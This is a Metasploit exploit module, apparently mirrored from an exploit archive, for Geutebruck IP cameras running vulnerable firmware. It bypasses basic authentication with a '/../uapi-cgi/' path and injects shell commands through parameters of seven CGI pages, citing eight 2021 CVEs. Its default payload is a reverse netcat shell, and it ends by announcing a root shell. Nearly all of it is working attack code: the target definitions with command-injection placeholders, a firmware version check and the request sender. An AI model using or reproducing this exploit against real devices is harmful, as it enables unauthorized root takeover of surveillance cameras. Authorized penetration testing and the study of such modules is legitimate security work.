Share
## https://sploitus.com/exploit?id=PACKETSTORM:164036
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Geutebruck Multiple Remote Command Execution',  
'Description' => %q{  
This module bypasses the HTTP basic authentication used to access the /uapi-cgi/ folder  
and exploits multiple authenticated arbitrary command execution vulnerabilities within  
the parameters of various pages on Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx,  
EFD-22xx, ETHC-22xx, and EWPC-22xx devices running firmware versions <= 1.12.0.27 as  
well as firmware versions 1.12.13.2 and 1.12.14.5. Successful exploitation results in  
remote code execution as the root user.  
},  
  
'Author' => [  
'Titouan Lazard', # Of RandoriSec - Discovery  
'Ibrahim Ayadhi', # Of RandoriSec - Discovery and Metasploit Module  
'Sébastien Charbonnier' # Of RandoriSec - Metasploit Module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2021-33543'],  
['CVE', '2021-33544'],  
['CVE', '2021-33548'],  
['CVE', '2021-33550'],  
['CVE', '2021-33551'],  
['CVE', '2021-33552'],  
['CVE', '2021-33553'],  
['CVE', '2021-33554'],  
[ 'URL', 'http://geutebruck.com' ],  
[ 'URL', 'https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/'],  
[ 'URL', 'https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03']  
],  
'DisclosureDate' => '2021-07-08',  
'Privileged' => true,  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD],  
'Targets' => [  
[  
'CVE-2021-33544 - certmngr.cgi', {  
'http_method' => 'GET',  
'http_vars' => {  
'action' => 'createselfcert',  
'local' => Rex::Text.rand_text_alphanumeric(10..16),  
'country' => Rex::Text.rand_text_alphanumeric(2),  
'state' => '$(PLACEHOLDER_CMD)',  
'organization' => Rex::Text.rand_text_alphanumeric(10..16),  
'organizationunit' => Rex::Text.rand_text_alphanumeric(10..16),  
'commonname' => Rex::Text.rand_text_alphanumeric(10..16),  
'days' => Rex::Text.rand_text_numeric(2..4),  
'type' => Rex::Text.rand_text_numeric(2..4)  
},  
'uri' => '/../uapi-cgi/certmngr.cgi'  
}  
],  
[  
'CVE-2021-33548 - factory.cgi', {  
'http_method' => 'GET',  
'http_vars' => { 'preserve' => '$(PLACEHOLDER_CMD)' },  
'uri' => '/../uapi-cgi/factory.cgi'  
}  
],  
[  
'CVE-2021-33550 - language.cgi', {  
'http_method' => 'GET',  
'http_vars' => { 'date' => '$(PLACEHOLDER_CMD)' },  
'uri' => '/../uapi-cgi/language.cgi'  
}  
],  
[  
'CVE-2021-33551 - oem.cgi', {  
'http_method' => 'GET',  
'http_vars' => {  
'action' => 'set',  
'enable' => 'yes',  
'environment.lang' => '$(PLACEHOLDER_CMD)'  
},  
'uri' => '/../uapi-cgi/oem.cgi'  
}  
],  
[  
'CVE-2021-33552 - simple_reclistjs.cgi', {  
'http_method' => 'GET',  
'http_vars' => {  
'action' => 'get',  
'timekey' => Rex::Text.rand_text_numeric(2..4),  
'date' => '$(PLACEHOLDER_CMD)'  
},  
'uri' => '/../uapi-cgi/simple_reclistjs.cgi'  
}  
],  
[  
'CVE-2021-33553 - testcmd.cgi', {  
'http_method' => 'GET',  
'http_vars' => { 'command' => 'PLACEHOLDER_CMD' },  
'uri' => '/../uapi-cgi/testcmd.cgi'  
}  
],  
[  
'CVE-2021-33554 - tmpapp.cgi', {  
'http_method' => 'GET',  
'http_vars' => { 'appfile.filename' => '$(PLACEHOLDER_CMD)' },  
'uri' => '/../uapi-cgi/tmpapp.cgi'  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'  
},  
'Notes' => {  
'Stability' => ['CRASH_SAFE'],  
'Reliability' => ['REPEATABLE_SESSION'],  
'SideEffects' => ['ARTIFACTS_ON_DISK']  
}  
)  
)  
end  
  
def firmware  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => '/brand.xml'  
)  
unless res  
print_error('Connection failed!')  
return false  
end  
  
unless res&.body && !res.body.empty?  
print_error('Empty body in the response!')  
return false  
end  
  
res_xml = res.get_xml_document  
if res_xml.at('//firmware').nil?  
print_error('Target did not respond with a XML document containing the "firmware" element!')  
return false  
end  
raw_text = res_xml.at('//firmware').text  
if raw_text && raw_text.match(/\d\.\d{1,3}\.\d{1,3}\.\d{1,3}/)  
raw_text.match(/\d\.\d{1,3}\.\d{1,3}\.\d{1,3}/)[0]  
else  
print_error('Target responded with a XML document containing the "firmware" element but its not a valid version string!')  
false  
end  
end  
  
def check  
version = firmware  
if version == false  
return CheckCode::Unknown('Target did not respond with a valid XML response that we could retrieve the version from!')  
end  
  
rex_version = Rex::Version.new(version)  
vprint_status("Found Geutebruck version #{rex_version}")  
if rex_version <= Rex::Version.new('1.12.0.27') || rex_version == Rex::Version.new('1.12.13.2') || rex_version == Rex::Version.new('1.12.14.5')  
return CheckCode::Appears  
end  
  
CheckCode::Safe  
end  
  
def exploit  
print_status("#{rhost}:#{rport} - Setting up request...")  
  
method = target['http_method']  
if method == 'GET'  
http_method_vars = 'vars_get'  
else  
http_method_vars = 'vars_post'  
end  
  
http_vars = target['http_vars']  
http_vars.each do |(k, v)|  
if v.include? 'PLACEHOLDER_CMD'  
http_vars[k]['PLACEHOLDER_CMD'] = payload.encoded  
end  
end  
  
print_status("Sending CMD injection request to #{rhost}:#{rport}")  
send_request_cgi(  
{  
'method' => method,  
'uri' => target['uri'],  
http_method_vars => http_vars  
}  
)  
print_status('Exploit complete, you should get a shell as the root user!')  
end  
end